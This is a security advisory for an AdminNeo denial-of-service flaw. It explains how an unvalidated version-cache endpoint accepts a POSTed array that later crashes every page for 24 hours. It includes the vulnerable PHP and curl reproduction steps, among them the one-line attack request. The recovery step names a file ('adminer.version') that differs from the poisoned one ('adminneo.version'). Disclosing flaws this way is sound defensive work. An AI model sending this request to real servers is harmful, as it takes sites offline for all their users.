---
id: CVE-2026-59978
aliases:
  - GHSA-jm85-8cpp-9cjc
title: 'AdminNeo: version-cache array injection causes persistent denial of service'
summary: 'AdminNeo: version-cache array injection causes persistent denial of service'
severity: high
cvss: 7.5
cwe:
  - CWE-20
vendor: adminneo-org
product: adminneo-org/adminneo
ecosystem: composer
affected:
  - 'adminneo-org/adminneo >= 4.6.2, < 5.5.0'
patched:
  - adminneo-org/adminneo 5.5.0
published: '2026-10-30'
updated: '2026-10-30'
sourceUpdated: '2026-10-30T18:53:08Z'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-jm85-8cpp-9cjc'
references:
  - url: >-
      https://github.com/adminneo-org/adminneo/security/advisories/GHSA-jm85-8cpp-9cjc
  - url: >-
      https://github.com/adminneo-org/adminneo/commit/b7ae929e6afb374f0a7aba3d73b7d441470ff907
  - url: 'https://github.com/adminneo-org/adminneo/releases/tag/v5.5.0'
  - url: 'https://github.com/advisories/GHSA-jm85-8cpp-9cjc'
tags:
  - ghsa
  - composer
ingestedAt: '2026-10-30T19:07:08.925Z'
---

## Overview

### Summary
AdminNeo v5.4.1 gets the latest version from GitHub API in a browser JavaScript function. Version number is then sent by POST request to `?script=version`. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST `version[]` parameter which PHP converts to an array. On next page load, function `rawurlencode()` receives this array instead of string and throws `TypeError`, returning HTTP 500 to all users for the next 24 hours.

Originally reported by @JoyGhoshs in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-q4f2-39gr-45jh
Although the version checking process was modified in AdminNeo, the root cause persisted.

### Workaround
If you can't upgrade, make the file `adminneo.version` in temp directory (usually the value of [upload_tmp_dir](https://www.php.net/ini.core#ini.upload-tmp-dir)) unwritable by web server.

### Details
#### 1. Intended design of `?script=version`
The endpoint is designed to receive version data from GitHub via browser JavaScript.
- `functions.js` line 110-121: Receives the latest release information from GitHub API by AJAX.
- JavaScript POSTs version number to `?script=version`.
- Server stores version number in `/tmp/adminneo.version` file that is used as a shared cache for all users in the same server for the next 24 hours.

```js
// function.js lines 119-120
const data = 'version=' + version + '&token=' + token;
ajax(baseUrl + 'script=version', null, data);
```

#### 2. The vulnerability

The endpoint only checks `$_GET["script"] == "version"` - it does not validate:
- Request origin (CSRF token is present, but not checked for this endpoint)
- Request source (any HTTP client can POST)
- Parameter types (`version` expected as string, array not rejected)

```php
// bootstrap.inc.php lines 44-53
if ($_GET["script"] == "version") {
	$filename = get_temp_dir() . "/adminneo.version";
	@unlink($filename); // It may not be writable by us, @ - it may not exist.

	$file = open_file_with_lock($filename);
	if ($file) {
		write_and_unlock_file($file, serialize(["version" => $_POST["version"]]));
	}
	exit;
}
```

#### 3. Type confusion crash
When POST contains `version[]` instead of `version`, PHP creates an array. When AdminNeo reads this file and passes to `cookie()` and then to `rawurlencode()`:

```php
// design.inc.php line 40
cookie("neo_version", $data["version"], $lifetime); // Sync expiration with the file.

// functions.inc.php lines 398-405
function cookie(string $name, string $value, int $lifetime = 2592000): void
{
	header("Set-Cookie: $name=" . rawurlencode($value)
		. ($lifetime ? "; expires=" . gmdate("D, d M Y H:i:s", time() + $lifetime) . " GMT" : "")
		. "; path=" . preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"])
		. (HTTPS ? "; secure" : "")
		. "; HttpOnly; SameSite=lax",
		false);
}
```

PHP 8.x throws:

```
Fatal error: Uncaught TypeError: rawurlencode(): Argument #1 ($string) must be of type string, array given
```

### Steps to Reproduce

(Example URL is for the official AdminNeo Docker image.)

**Step 1:** Verify AdminNeo is running and accessible.

```sh
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8080
```

Expected output:

```
200
```

**Step 2:** Send the malicious POST request. The `version[]` syntax causes PHP to create an array instead of a string.

```sh
curl -X POST "http://localhost:8080?script=version" -d "version[]=INJECTED"
```

Expected output: Empty response (no error).

**Step 3:** Access Adminer again to trigger the crash.

```sh
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8080
```

Expected output:

```
500
```

**Step 4:** (Optional) View the PHP error in server logs.

```
Fatal error: Uncaught TypeError: rawurlencode(): Argument #1 ($string) must be of type string, array given
```

**Step 5:** (Optional) Inspect the poisoned file.

```sh
cat /tmp/adminneo.version
```

Expected output:

```
a:1:{s:7:"version";a:1:{i:0;s:8:"INJECTED";}}
```

**Recovery:**

```sh
rm /tmp/adminer.version
```

After deletion, AdminNeo returns HTTP 200.

<hr>

### Impact

**Type:** Denial of Service

**Root cause:** The `?script=version` endpoint is designed to receive data from GitHub via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before `rawurlencode()`, this allows DoS for the next 24 hours.

**Affected users:** Any AdminNeo instance accessible over the network.

## Affected packages

- `adminneo-org/adminneo >= 4.6.2, < 5.5.0`

## Remediation

Upgrade to a patched release:

- `adminneo-org/adminneo 5.5.0`
